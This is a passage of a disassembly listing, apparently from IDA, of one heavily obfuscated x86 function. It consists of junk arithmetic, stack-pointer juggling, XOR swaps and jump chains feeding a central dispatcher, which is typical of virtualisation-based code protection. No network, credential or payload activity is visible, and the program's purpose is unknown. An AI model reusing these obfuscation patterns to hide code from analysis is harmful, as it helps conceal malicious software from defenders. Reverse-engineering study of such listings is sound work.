jmp loc_58BB8A ; --------------------------------------------------------------------------- loc_58C0E7: ; CODE XREF: sub_57DD3A+E1ECj mov ecx, [esp+7Ah+var_7C+2] push esi push 0B30h jmp loc_587EA2 ; --------------------------------------------------------------------------- loc_58C0F5: ; CODE XREF: sub_57DD3A+8579j shl eax, 3 xor eax, 8CA35A36h xor ebp, eax pop eax push ecx jmp loc_589FD1 ; --------------------------------------------------------------------------- loc_58C106: ; CODE XREF: sub_57DD3A+4797j mov eax, [esp+0A6h+var_A8+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0AAh+var_AC+2] pop esp push edi push ecx mov ecx, 4 push ecx jmp loc_585F09 ; --------------------------------------------------------------------------- loc_58C126: ; CODE XREF: sub_57DD3A+9674j mov ecx, [esp+9Ch+var_9C] jmp loc_5851FF ; --------------------------------------------------------------------------- loc_58C12E: ; CODE XREF: sub_57DD3A+E13Fj add esp, 4 jmp loc_585B5E ; --------------------------------------------------------------------------- loc_58C139: ; CODE XREF: sub_57DD3A+EE65j push edx push 66897703h jmp loc_58BE7E ; --------------------------------------------------------------------------- loc_58C144: ; CODE XREF: sub_57DD3A+3B98j mov dh, 14h add al, 25h add al, dh sub al, 25h pop dx jmp loc_581F61 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc byte ptr [esp+4Eh+var_50+2], al pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58C162: ; CODE XREF: sub_57DD3A+DBD4j push 1F92h jmp loc_58B841 ; --------------------------------------------------------------------------- loc_58C16C: ; CODE XREF: sub_57DD3A+7276j pop ebx add esp, 4 sub esp, 4 jmp loc_58CBBA ; --------------------------------------------------------------------------- loc_58C178: ; CODE XREF: sub_57DD3A+7C14j mov edx, eax mov ebp, edx pop edx mov eax, [esp+66h+var_68+2] add esp, 4 sub ebp, 5BF861D0h or ebp, 31080874h xor ebp, 0F3690BFDh add eax, ebp pop ebp xor eax, [esp+5Eh+var_60+2] xor [esp+5Eh+var_60+2], eax xor eax, [esp+5Eh+var_60+2] jmp loc_587E51 ; --------------------------------------------------------------------------- loc_58C1A6: ; CODE XREF: sub_57DD3A+51CBj xor ebp, [esp+84h+var_84] xor [esp+84h+var_84], ebp jmp loc_5844EC ; --------------------------------------------------------------------------- loc_58C1B1: ; CODE XREF: sub_57DD3A+DA6Aj push 427Fh mov [esp+0E4h+var_E4], ebp push edx mov edx, 64925FCh mov ebp, edx pop edx or ebp, 11E80852h or ebp, 7FE15FD8h jmp loc_58D45B ; --------------------------------------------------------------------------- loc_58C1D3: ; CODE XREF: sub_57DD3A+7D98j pop esp push edx push eax jmp loc_5872ED ; --------------------------------------------------------------------------- loc_58C1DB: ; CODE XREF: sub_57DD3A+1014Dj pop ebx jmp loc_583FB2 ; --------------------------------------------------------------------------- loc_58C1E1: ; CODE XREF: sub_57DD3A+B546j push 1BB1h mov [esp+8Ch+var_8C], ebx jmp loc_583C00 ; --------------------------------------------------------------------------- loc_58C1EE: ; CODE XREF: sub_57DD3A+C9A8j xor ch, 0F5h add ch, 42h mov dl, ch pop ecx jmp loc_583189 ; --------------------------------------------------------------------------- loc_58C1FC: ; CODE XREF: sub_57DD3A+E687j add esp, 4 jmp loc_58D07B ; --------------------------------------------------------------------------- loc_58C207: ; CODE XREF: sub_57DD3A+C730j push ebx mov bl, 0B6h mov cl, 0F7h xor cl, 0D4h sub cl, 67h xor cl, bl push [esp+0BEh+var_C0+2] jmp loc_582B5E ; --------------------------------------------------------------------------- loc_58C21C: ; CODE XREF: sub_57DD3A+6DFBj push edx push ebx mov bh, 19h mov dh, bh pop ebx add bl, dh mov edx, [esp+84h+var_84] jmp loc_583692 ; --------------------------------------------------------------------------- loc_58C22D: ; CODE XREF: sub_57DD3A+502Fj mov dl, 0DAh mov ch, 4 add ch, dl pop edx sub ch, 0A5h push ebx mov bh, ch mov al, bh jmp loc_58B36C ; --------------------------------------------------------------------------- loc_58C241: ; CODE XREF: sub_57DD3A+A45Cj sub eax, 97B15D5h sub eax, edx add eax, 97B15D5h mov edx, [esp+62h+var_64+2] add esp, 4 xor ebx, eax push dword ptr [eax] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58C25F: ; CODE XREF: sub_57DD3A+FEF9j pop ebp jmp loc_5851F3 ; --------------------------------------------------------------------------- loc_58C265: ; CODE XREF: sub_57DD3A+7750j pop edi shr ebx, 5 sub ebx, 917A2EAEh add edi, 59813994h sub edi, 0DD132CFh add edi, 68CA17D1h sub edi, ebx jmp loc_58D0B3 ; --------------------------------------------------------------------------- loc_58C288: ; CODE XREF: sub_57DD3A+5714j sub dh, cl pop cx sub al, dh jmp loc_583E03 ; --------------------------------------------------------------------------- loc_58C293: ; CODE XREF: sub_57DD3A+928Fj add esp, 4 add esp, 4 add ecx, 4 sub esp, 4 mov [esp+0BCh+var_BC], edi jmp loc_584647 ; --------------------------------------------------------------------------- loc_58C2B0: ; CODE XREF: sub_57DD3A+D0E4j mov edx, esp jmp loc_58385D ; --------------------------------------------------------------------------- loc_58C2B7: ; CODE XREF: sub_57DD3A+82B4j pop eax push [esp+80h+var_80] pop ecx add esp, 4 jmp loc_583C5E ; --------------------------------------------------------------------------- loc_58C2C4: ; CODE XREF: sub_57DD3A+10064j push 5016h mov [esp+80h+var_80], ecx push esp pop ecx push eax mov eax, 70DC7F54h push edi jmp loc_5819E6 ; --------------------------------------------------------------------------- loc_58C2DA: ; CODE XREF: sub_57DD3A+DF19j mov ecx, 38E4175Dh jmp loc_586099 ; --------------------------------------------------------------------------- loc_58C2E4: ; CODE XREF: sub_57DD3A+49D1j sub esp, 4 mov [esp+8Ah+var_8C+2], eax jmp loc_5864D5 ; --------------------------------------------------------------------------- loc_58C2EF: ; CODE XREF: sub_57DD3A+5940j sub [esp+0A2h+var_A0+2], 4487729Ch jmp loc_58BA18 ; --------------------------------------------------------------------------- loc_58C2FC: ; CODE XREF: sub_57DD3A+587Dj pop ebp push ebx mov ebx, 0FFFFFFFFh sub ecx, ebx pop ebx jmp loc_584544 ; --------------------------------------------------------------------------- loc_58C30B: ; CODE XREF: sub_57DD3A+FA27j xor eax, ecx pop ecx neg eax sub eax, 86D49380h neg eax add eax, 1 jmp loc_583E2A ; --------------------------------------------------------------------------- loc_58C31F: ; CODE XREF: sub_57DD3A+54EDj mov [esp+5Eh+var_60+2], ebp sub esp, 4 jmp loc_589A0F ; --------------------------------------------------------------------------- loc_58C32D: ; CODE XREF: sub_57DD3A+BD8Fj and dh, cl pop ecx jmp loc_58CBA4 ; --------------------------------------------------------------------------- loc_58C335: ; CODE XREF: sub_57DD3A+70FBj mov eax, 925784Eh shl eax, 7 add eax, 0AA5325C1h jmp loc_589C00 ; --------------------------------------------------------------------------- loc_58C347: ; CODE XREF: sub_57DD3A+8FC0j sub esi, 4E0024A7h jmp loc_583324 ; --------------------------------------------------------------------------- loc_58C352: ; CODE XREF: sub_57DD3A+88A2j add esi, 4 push eax mov eax, 2 add esi, eax pop eax xchg esi, [esp+88h+var_88] mov esp, [esp+88h+var_88] jmp loc_5834EC ; --------------------------------------------------------------------------- loc_58C36C: ; CODE XREF: sub_57DD3A+ECD2j add esi, 2D360B58h jmp loc_58DDB8 ; --------------------------------------------------------------------------- loc_58C377: ; CODE XREF: sub_57DD3A+F41Bj shl edi, 7 shr edi, 1 jmp loc_58B0DB ; --------------------------------------------------------------------------- loc_58C381: ; CODE XREF: sub_57DD3A+ED42j mov edx, 4A8B6FA8h xor ebp, edx pop edx or ebx, ebp pop ebp push ecx mov ecx, 9441A163h add ebx, ecx jmp loc_58C57D ; --------------------------------------------------------------------------- loc_58C399: ; CODE XREF: sub_57DD3A+65ABj mov ecx, [esp+98h+var_98] add esp, 4 add esp, 4 xchg ebx, [esp+90h+var_90] mov esp, [esp+90h+var_90] mov word ptr [esp+90h+var_90], ax jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58C3B7: ; CODE XREF: sub_57DD3A+687Aj not dl sub dl, 0F8h sub bl, dl mov edx, [esp+84h+var_84] jmp loc_58C1FC ; --------------------------------------------------------------------------- loc_58C3C6: ; CODE XREF: sub_57DD3A+9287j pop edi jmp loc_58C9FC ; --------------------------------------------------------------------------- loc_58C3CC: ; CODE XREF: sub_57DD3A+53EAj add [esp+0B2h+var_B4+2], 4 mov ecx, [esp+0B2h+var_B4+2] push edx mov edx, esp jmp loc_587046 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+0B6h+var_B8+2] jmp loc_58A952 ; --------------------------------------------------------------------------- loc_58C3E7: ; CODE XREF: sub_57DD3A+C71Ej add esp, 4 push edx push esp pop edx push 0A1Ch mov [esp+82h+var_84+2], edi mov edi, 6DBD55B8h xor edi, 11D35614h jmp loc_58DFE1 ; --------------------------------------------------------------------------- loc_58C408: ; CODE XREF: sub_57DD3A+C874j mov [esp+0A2h+var_A4+2], eax jmp loc_5823D5 ; --------------------------------------------------------------------------- loc_58C410: ; CODE XREF: sub_57DD3A+B03Bj push edx pop ecx pop edx xchg eax, ecx dec eax xor ecx, eax xor eax, ecx xor ecx, eax and ecx, 1C90B12h push ebx mov ebx, 53CE62D0h sub ecx, 576D5C98h add ecx, 4B80726h jmp loc_586543 ; --------------------------------------------------------------------------- loc_58C438: ; CODE XREF: sub_57DD3A+DB53j push ebx mov ebx, esp jmp loc_5885DA ; --------------------------------------------------------------------------- loc_58C440: ; CODE XREF: sub_57DD3A+CEF7j add al, dh pop edx sub al, bh sub al, 0E9h pop ebx add al, 21h jmp loc_58D8CE ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58C456: ; CODE XREF: sub_57DD3A+59EBj push dx mov dh, 0E9h sub al, 43h sub al, dh add al, 43h mov dx, word ptr [esp+0A6h+var_A8+2] push ebx push esp push [esp+0AEh+var_B0+2] mov ebx, [esp+0B2h+var_B4+2] push ebp jmp loc_584B44 ; --------------------------------------------------------------------------- loc_58C472: ; CODE XREF: sub_57DD3A+EDFFj pop ebx sub ebx, 0A5ED13EDh jmp loc_58B9B2 ; --------------------------------------------------------------------------- loc_58C47E: ; CODE XREF: sub_57DD3A+B453j push ecx jmp loc_588345 ; --------------------------------------------------------------------------- loc_58C484: ; CODE XREF: sub_57DD3A+7709j pop ebp xor esi, [esp+80h+var_80] xor [esp+80h+var_80], esi jmp loc_5861EA ; --------------------------------------------------------------------------- loc_58C490: ; CODE XREF: sub_57DD3A+9D46j neg ebp jmp loc_588932 ; --------------------------------------------------------------------------- loc_58C497: ; CODE XREF: sub_57DD3A+829Fj pop ebx xor esi, 5F715706h xor ecx, esi jmp loc_58C6F7 ; --------------------------------------------------------------------------- loc_58C4A5: ; CODE XREF: sub_57DD3A+9E31j mov [esp+68h+var_68], edi mov edi, esp sub esp, 4 mov [esp+6Ch+var_6C], esi mov esi, 93A6D56h shr esi, 5 dec esi xor esi, 49D36Dh add edi, esi pop esi add edi, 4 xchg edi, [esp+68h+var_68] pop esp jmp loc_5878FE ; --------------------------------------------------------------------------- loc_58C4CE: ; CODE XREF: sub_57DD3A+C7A6j mov [esp+0C8h+var_C8], ebx jmp loc_5822BA ; --------------------------------------------------------------------------- lodsb jmp loc_581B17 ; --------------------------------------------------------------------------- loc_58C4DC: ; CODE XREF: sub_57DD3A+E94Bj xchg ebp, [esp+0C8h+var_C8] pop esp push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0C8h+var_C8] pop esp push edx mov edx, 89B2CBAh add eax, edx pop edx sub esp, 4 mov [esp+0C8h+var_C8], ecx mov ecx, 200000h and eax, ecx mov ecx, [esp+0C8h+var_C8] push 2EF3h mov [esp+0CCh+var_CC], eax push esp pop eax push esi mov esi, 4 add eax, esi mov esi, [esp+0D0h+var_D0] add esp, 4 add eax, 4 push eax push [esp+0D0h+var_CC] push [esp+0D4h+var_D4] pop eax add esp, 4 pop [esp+0D0h+var_D0] jmp loc_5850CF ; --------------------------------------------------------------------------- loc_58C538: ; CODE XREF: sub_57DD3A+4345j add esi, 4 add esi, 4 push esi jmp loc_58414E ; --------------------------------------------------------------------------- loc_58C54A: ; CODE XREF: sub_57DD3A+CC51j push 800h pop ebp and eax, ebp pop ebp or eax, eax jz loc_5878FE push dword ptr [edi+1Ch] jmp loc_5824BE ; --------------------------------------------------------------------------- loc_58C563: ; CODE XREF: sub_57DD3A+F009j add ebp, edi jmp loc_58D92C ; --------------------------------------------------------------------------- loc_58C56A: ; CODE XREF: sub_57DD3A+A082j push ecx jmp loc_581EA9 ; --------------------------------------------------------------------------- loc_58C570: ; CODE XREF: sub_57DD3A+989Fj mov ebx, esp add ebx, 4 jmp loc_58A0EE ; --------------------------------------------------------------------------- loc_58C57D: ; CODE XREF: sub_57DD3A+E65Aj pop ecx and eax, ebx mov ebx, [esp+80h+var_80] jmp loc_586332 ; --------------------------------------------------------------------------- loc_58C588: ; CODE XREF: sub_57DD3A+603Ej add edx, 17897B80h push esi mov esi, 65C4721Fh add edx, esi jmp loc_58B31F ; --------------------------------------------------------------------------- loc_58C59B: ; CODE XREF: sub_57DD3A+AA87j add edx, 664840D1h sub edx, 2E92016h add edx, esi add edx, 2E92016h jmp loc_5842EA ; --------------------------------------------------------------------------- loc_58C5B4: ; CODE XREF: sub_57DD3A+81CAj push ebx mov bh, ch jmp loc_585FE9 ; --------------------------------------------------------------------------- loc_58C5BC: ; CODE XREF: sub_57DD3A+9968j xchg esi, ebx sub ebx, 5F77A33Eh sub edx, 584A35EDh add edx, ebx add edx, 584A35EDh mov ebx, [esp+7Eh+var_80+2] add esp, 4 add edx, 0C7E9B9A0h push 51C3h mov [esp+7Eh+var_80+2], edx pop ebx pop edx add ebx, edi jmp loc_58805C ; --------------------------------------------------------------------------- mov eax, [esp+76h+var_78+2] jmp loc_587999 ; --------------------------------------------------------------------------- loc_58C5F7: ; CODE XREF: sub_57DD3A+9BBFj add eax, ebx sub eax, 6DF26D6Bh mov ebx, [esp+0ACh+var_AC] push edi sub esp, 4 jmp loc_587F59 ; --------------------------------------------------------------------------- loc_58C60D: ; CODE XREF: sub_57DD3A+E902j add esi, 5FFC3B63h sub esi, edx push eax mov eax, 7F3D31FEh inc eax shl eax, 3 neg eax jmp loc_58205C ; --------------------------------------------------------------------------- loc_58C626: ; CODE XREF: sub_57DD3A+FE95j pop ecx push ecx push esp mov ecx, [esp+0BCh+var_BC] add esp, 4 jmp loc_58BC6D ; --------------------------------------------------------------------------- loc_58C637: ; CODE XREF: sub_57DD3A+D83Cj mov edx, 6ABF57BAh jmp loc_58C60D ; --------------------------------------------------------------------------- loc_58C641: ; CODE XREF: sub_57DD3A+5CF8j add esp, 4 xchg ecx, [esp+6Ah+var_6C+2] jmp loc_585E0C ; --------------------------------------------------------------------------- mov ecx, [esp+6Ah+var_6C+2] push edx push esp jmp loc_582214 ; --------------------------------------------------------------------------- loc_58C659: ; CODE XREF: sub_57DD3A+BA04j xor eax, [esp+6Ch+var_6C] xor [esp+6Ch+var_6C], eax xor eax, [esp+6Ch+var_6C] mov esp, [esp+6Ch+var_6C] mov [esp+6Ch+var_6C], ebx sub [esp+6Ch+var_6C], 89B2CBAh push [esp+6Ch+var_6C] push [esp+70h+var_70] pop eax push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58C4DC ; --------------------------------------------------------------------------- loc_58C68A: ; CODE XREF: sub_57DD3A+A0DDj push ecx mov ecx, 622B177Fh push ebp jmp loc_58B655 ; --------------------------------------------------------------------------- loc_58C696: ; CODE XREF: sub_57DD3A+CC8Bj sub esp, 4 jmp loc_581CA6 ; --------------------------------------------------------------------------- loc_58C69E: ; CODE XREF: sub_57DD3A+4DC2j mov [esp+5Ch+var_5C], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_58B983 ; --------------------------------------------------------------------------- loc_58C6B4: ; CODE XREF: sub_57DD3A+3F96j push 5BA5h mov [esp+90h+var_90], esi push ebx mov ebx, 3C435619h push ebx jmp loc_58BE47 ; --------------------------------------------------------------------------- loc_58C6C8: ; CODE XREF: sub_57DD3A+6216j mov [esp+0B4h+var_B4], ebx jmp loc_5886A1 ; --------------------------------------------------------------------------- push 0D86h mov [esp+0B8h+var_B8], edx jmp loc_58A4A5 ; --------------------------------------------------------------------------- loc_58C6DD: ; CODE XREF: sub_57DD3A+A5D0j dec edi jmp loc_583E86 ; --------------------------------------------------------------------------- loc_58C6E3: ; CODE XREF: sub_57DD3A+428Cj jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58C6E8: ; CODE XREF: sub_57DD3A+CE06j neg ebp push 3B27h mov [esp+0CAh+var_CC+2], ebx jmp loc_58DE9B ; --------------------------------------------------------------------------- loc_58C6F7: ; CODE XREF: sub_57DD3A+E766j mov esi, [esp+80h+var_80] add esp, 4 push ebp push esi mov esi, 55625526h mov ebp, 0C295B831h add ebp, esi pop esi jmp loc_58CB70 ; --------------------------------------------------------------------------- loc_58C714: ; CODE XREF: sub_57DD3A+3DD8j mov ebx, eax mov edi, ebx pop ebx pop eax add edx, edi jmp loc_583D9D ; --------------------------------------------------------------------------- lodsb add al, 64h jmp loc_581D1F ; --------------------------------------------------------------------------- loc_58C729: ; CODE XREF: sub_57DD3A+A722j mov [esp+6Ah+var_6C+2], ebp push 1A48h mov [esp+6Eh+var_70+2], eax mov eax, 464A237Bh mov ebp, 464A257Bh jmp loc_587792 ; --------------------------------------------------------------------------- loc_58C743: ; CODE XREF: sub_57DD3A+9174j sub eax, 6E463A4Ah or eax, 4BDE5C12h xor eax, 2E74F08h sub eax, 491993DAh jmp loc_58197D ; --------------------------------------------------------------------------- loc_58C75C: ; CODE XREF: sub_57DD3A+CC7Fj push [esp+94h+var_90] pop edi pop [esp+94h+var_94] jmp loc_588D37 ; --------------------------------------------------------------------------- loc_58C769: ; CODE XREF: sub_57DD3A+A61Fj push 14D2h jmp loc_587A60 ; --------------------------------------------------------------------------- loc_58C773: ; CODE XREF: sub_57DD3A+4739j add eax, ebx push esi jmp loc_58DD2A ; --------------------------------------------------------------------------- loc_58C77B: ; CODE XREF: sub_57DD3A+CBDCj push edx push 4FD84CD0h pop edx xor edi, edx pop edx push eax jmp loc_58D06F ; --------------------------------------------------------------------------- lodsw xor ax, bx push 42C8h jmp loc_5846E1 ; --------------------------------------------------------------------------- loc_58C79A: ; CODE XREF: sub_57DD3A+D8C1j sub [esp+7Ah+var_78+2], edx pop edx sub [esp+76h+var_78+2], 2FDF0F7Fh sub [esp+76h+var_78+2], ebx add [esp+76h+var_78+2], 2FDF0F7Fh add [esp+76h+var_78+2], 0B213DC8h jmp loc_583F19 ; --------------------------------------------------------------------------- loc_58C7BC: ; CODE XREF: sub_57DD3A+A521j xor ebx, 277246BBh sub edx, 12DA3138h sub edx, 230B5384h add edx, ebx jmp loc_58B22A ; --------------------------------------------------------------------------- loc_58C7D5: ; CODE XREF: sub_57DD3A+C713j mov [esp+0CCh+var_CC], ebx jmp loc_586C21 ; --------------------------------------------------------------------------- loc_58C7DD: ; CODE XREF: sub_57DD3A+D05Fj mov edi, 4 sub ebp, edi pop edi xchg ebp, [esp+84h+var_84] jmp loc_5880E0 ; --------------------------------------------------------------------------- loc_58C7ED: ; CODE XREF: sub_57DD3A+7FF3j xor edx, 595A24E7h push ebx mov ebx, 5F254F89h push ecx jmp loc_58A4B3 ; --------------------------------------------------------------------------- loc_58C7FF: ; CODE XREF: sub_57DD3A+5F2Cj mov eax, 0 add eax, edx push edx mov edx, 0 jmp loc_584199 ; --------------------------------------------------------------------------- loc_58C811: ; CODE XREF: sub_57DD3A+FCFAj mov edi, [esp+86h+var_88+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_58A55C ; --------------------------------------------------------------------------- loc_58C825: ; CODE XREF: sub_57DD3A+7A7Ej xchg ebx, ebp neg ebx xchg ebx, ebp and ebp, 62E60734h not ebp sub ebp, 0CD979FF9h mov ebx, ebp mov ebp, [esp+7Ah+var_7C+2] add esp, 4 mov edi, ebx jmp loc_5851E4 ; --------------------------------------------------------------------------- loc_58C848: ; CODE XREF: sub_57DD3A+D84Fj mov esp, [esp+6Ah+var_6C+2] imul cl jmp loc_583C3D ; --------------------------------------------------------------------------- mov ax, fs:[edx] push ebx push esp pop ebx jmp loc_584186 ; --------------------------------------------------------------------------- loc_58C85E: ; CODE XREF: sub_57DD3A+A68Aj add edi, 79C05EAAh xor edi, 0F5278E5Ch add esi, edi pop edi push edi mov edi, 4 add esi, edi push [esp+76h+var_78+2] pop edi sub esp, 4 mov [esp+7Ah+var_7C+2], edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp+7Ah+var_7C+2] pop esp xor esi, [esp+76h+var_78+2] xor [esp+76h+var_78+2], esi xor esi, [esp+76h+var_78+2] mov esp, [esp+76h+var_78+2] or [esp+76h+var_78+2], eax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- push 27A4h jmp loc_58289C ; --------------------------------------------------------------------------- loc_58C8B0: ; CODE XREF: sub_57DD3A+6C2Bj add esp, 4 add esp, 4 push ebp mov ebp, 6A49424Bh inc ebp xor ebp, 4C2B5947h sub ebx, 4DF06AE4h add ebx, ebp add ebx, 4DF06AE4h jmp loc_585CDA ; --------------------------------------------------------------------------- loc_58C8D9: ; CODE XREF: sub_57DD3A+8B99j pop edx add bl, 3Eh add bl, 39h add bl, al jmp loc_5860D9 ; --------------------------------------------------------------------------- loc_58C8E7: ; CODE XREF: sub_57DD3A+65ECj add edx, eax sub edx, 638B7C31h mov eax, [esp+98h+var_98] jmp loc_584972 ; --------------------------------------------------------------------------- loc_58C8F7: ; CODE XREF: sub_57DD3A+C02Cj or eax, eax jz loc_583221 push dword ptr [edi+1Ch] push [esp+82h+var_84+2] mov ecx, [esp+86h+var_88+2] push esi mov esi, esp push edx jmp loc_588844 ; --------------------------------------------------------------------------- loc_58C911: ; CODE XREF: sub_57DD3A+4E49j add edi, ebp jmp loc_58AD9E ; --------------------------------------------------------------------------- loc_58C918: ; CODE XREF: sub_57DD3A+D901j pop ecx jmp loc_585C76 ; --------------------------------------------------------------------------- loc_58C91E: ; CODE XREF: sub_57DD3A+3F2Cj sub eax, edi jmp loc_586143 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58C92D: ; CODE XREF: sub_57DD3A+4C79j add edx, 3CDD63CFh mov ebp, edx pop edx neg ebp add ebp, 510B3630h push esi push 3BCD69E4h jmp loc_583F9C ; --------------------------------------------------------------------------- loc_58C949: ; CODE XREF: sub_57DD3A+7800j push 565Fh mov [esp+76h+var_78+2], ebx mov ebx, 40h jmp loc_58A5B3 ; --------------------------------------------------------------------------- loc_58C95B: ; CODE XREF: sub_57DD3A+F5E1j push ebx mov ebx, 2B272BD2h push eax jmp loc_586150 ; --------------------------------------------------------------------------- loc_58C967: ; CODE XREF: sub_57DD3A+514Aj add ebp, eax jmp loc_58A13E ; --------------------------------------------------------------------------- loc_58C96E: ; CODE XREF: sub_57DD3A+CFF5j add esi, edi mov edi, [esp+0BCh+var_BC] add esp, 4 xor esi, [esp+0B8h+var_B8] xor [esp+0B8h+var_B8], esi xor esi, [esp+0B8h+var_B8] pop esp jmp loc_584735 ; --------------------------------------------------------------------------- loc_58C988: ; CODE XREF: sub_57DD3A+F1E5j mov [esp+0B4h+var_B4], ebp push 35F33DE3h mov ebp, [esp+0B8h+var_B8] add esp, 4 sub [esp+0B4h+var_B0], ebp push [esp+0B4h+var_B4] jmp loc_5875CF ; --------------------------------------------------------------------------- loc_58C9A2: ; CODE XREF: sub_57DD3A+5093j pop eax neg edx xor edx, 0A0E68CBh inc edx jmp loc_583C23 ; --------------------------------------------------------------------------- loc_58C9B1: ; CODE XREF: sub_57DD3A+8FCDj pop esi add edi, ebx jmp loc_58AC4F ; --------------------------------------------------------------------------- loc_58C9B9: ; CODE XREF: sub_57DD3A+5BF5j pop esp jmp loc_581955 ; --------------------------------------------------------------------------- loc_58C9BF: ; CODE XREF: sub_57DD3A+A4B3j push ebx mov ebx, 22235CD8h sub ebx, 42F3CDDh shl ebx, 3 neg ebx shl ebx, 3 add ebx, 7D07FEC4h add esi, ebx jmp loc_588A1C ; --------------------------------------------------------------------------- loc_58C9E0: ; CODE XREF: sub_57DD3A+6819j add ebx, 0E0EF1AF6h jmp loc_58AFA8 ; --------------------------------------------------------------------------- loc_58C9EB: ; CODE XREF: sub_57DD3A+417Bj xchg eax, ebx push ebp push ebx push esp pop ebx add ebx, 4 push esi jmp loc_582C7E ; --------------------------------------------------------------------------- loc_58C9FC: ; CODE XREF: sub_57DD3A+E68Dj push ebx mov ebx, 44A727EFh jmp loc_58715C ; --------------------------------------------------------------------------- loc_58CA07: ; CODE XREF: sub_57DD3A+7A56j mov ebp, 2 jmp loc_58C36C ; --------------------------------------------------------------------------- loc_58CA11: ; CODE XREF: sub_57DD3A+B243j add ebx, 4 xchg ebx, [esp+64h+var_64] jmp loc_58191D ; --------------------------------------------------------------------------- loc_58CA1C: ; CODE XREF: sub_57DD3A+4162j pop eax sub bl, dl add bl, 44h pop edx movzx eax, al pop dword ptr [edi+eax*4] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58CA2E: ; CODE XREF: sub_57DD3A+C19Fj add ecx, 4 add ecx, 4 xchg ecx, [esp+86h+var_88+2] mov esp, [esp+86h+var_88+2] push dword ptr [edi+1Ch] sub esp, 4 mov [esp+8Eh+var_90+2], esi mov esi, 667D33CCh xor [esp+8Eh+var_8C+2], esi mov esi, [esp+8Eh+var_90+2] add esp, 4 push [esp+8Ah+var_8C+2] mov ecx, [esp+8Eh+var_90+2] push ecx mov ecx, esp add ecx, 4 jmp loc_58B9A3 ; --------------------------------------------------------------------------- loc_58CA6F: ; CODE XREF: sub_57DD3A+AA5Bj pop edi and [edi+1Ch], ebp mov ebp, [esp+86h+var_88+2] jmp loc_58DD88 ; --------------------------------------------------------------------------- loc_58CA7B: ; CODE XREF: sub_57DD3A+FD05j push edx jmp loc_58C381 ; --------------------------------------------------------------------------- loc_58CA81: ; CODE XREF: sub_57DD3A+C571j or edx, eax jmp loc_5855C5 ; --------------------------------------------------------------------------- loc_58CA88: ; CODE XREF: sub_57DD3A+84ABj sub ebx, 47CF77BBh jmp loc_589CDE ; --------------------------------------------------------------------------- loc_58CA93: ; CODE XREF: sub_57DD3A+F03Ej sub ebp, eax mov eax, [esp+0A8h+var_A8] jmp loc_584CDA ; --------------------------------------------------------------------------- loc_58CA9D: ; CODE XREF: sub_57DD3A+7D27j add esp, 4 mov ebp, edi mov edi, [esp+90h+var_90] jmp loc_588BF5 ; --------------------------------------------------------------------------- loc_58CAAD: ; CODE XREF: sub_57DD3A+994Aj add edi, 4 xchg edi, [esp+76h+var_78+2] pop esp xchg eax, [esp+72h+var_74+2] jmp loc_58879A ; --------------------------------------------------------------------------- loc_58CABC: ; CODE XREF: sub_57DD3A+58CDj mov esp, [esp+0A8h+var_A8] jmp loc_586F6E ; --------------------------------------------------------------------------- loc_58CAC4: ; CODE XREF: sub_57DD3A+6B56j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+90h+var_90] pop esp jmp loc_58AD7C ; --------------------------------------------------------------------------- loc_58CAD9: ; CODE XREF: sub_57DD3A+6A69j push [esp+0C8h+var_C8] pop edx add esp, 4 mov ebx, [esp+0C4h+var_C4] add esp, 4 jmp loc_585DA6 ; --------------------------------------------------------------------------- loc_58CAF1: ; CODE XREF: sub_57DD3A+D565j pop ebp push eax pop ebp pop eax mov eax, 0C1CC9474h add eax, 8DE5D31h add eax, ebp push ebx mov ebx, 8DE5D31h sub eax, ebx pop ebx pop ebp add eax, edi add dword ptr [eax], 1 mov eax, [esp+6Eh+var_70+2] add esp, 4 loc_58CB1C: ; CODE XREF: sub_57DD3A+764Cj push ebp push ebx sub esp, 4 mov [esp+76h+var_78+2], ebp mov ebp, 44DC024Dh xor [esp+76h+var_74+2], ebp pop ebp pop ebp jmp loc_587D5C ; --------------------------------------------------------------------------- loc_58CB34: ; CODE XREF: sub_57DD3A+F844j push 16DB57A0h jmp loc_58C472 ; --------------------------------------------------------------------------- loc_58CB3E: ; CODE XREF: sub_57DD3A+7587j sub eax, edx pop edx sub eax, ebx jmp loc_582EA6 ; --------------------------------------------------------------------------- loc_58CB48: ; CODE XREF: sub_57DD3A+4FB1j mov ebp, 28FA3225h shl ebp, 8 jmp loc_58D15A ; --------------------------------------------------------------------------- loc_58CB55: ; CODE XREF: sub_57DD3A+D90Aj sub esp, 4 mov [esp+86h+var_88+2], edi push esp mov edi, [esp+8Ah+var_8C+2] jmp loc_58DAC6 ; --------------------------------------------------------------------------- loc_58CB67: ; CODE XREF: sub_57DD3A+6CB3j xor bl, 0D2h push eax jmp loc_58B077 ; --------------------------------------------------------------------------- loc_58CB70: ; CODE XREF: sub_57DD3A+E9D5j not ebp jmp loc_585147 ; --------------------------------------------------------------------------- loc_58CB77: ; CODE XREF: sub_57DD3A+8A0Cj add ecx, edi jmp loc_586EEA ; --------------------------------------------------------------------------- loc_58CB7E: ; CODE XREF: sub_57DD3A+B277j add [esp+0B8h+var_B8], 4 jmp loc_58A492 ; --------------------------------------------------------------------------- loc_58CB8A: ; CODE XREF: sub_57DD3A+5E86j or eax, eax jz loc_5821C8 push edx push 6325h mov [esp+0BEh+var_C0+2], ebp mov ebp, ebx push ebp push eax jmp loc_58C139 ; --------------------------------------------------------------------------- loc_58CBA4: ; CODE XREF: sub_57DD3A+E5F6j push ebx mov bl, 0AAh jmp loc_582F0A ; --------------------------------------------------------------------------- loc_58CBAC: ; CODE XREF: sub_57DD3A+C12Ej shr edi, 5 xor edi, 8AC3BC8h jmp loc_581ADD ; 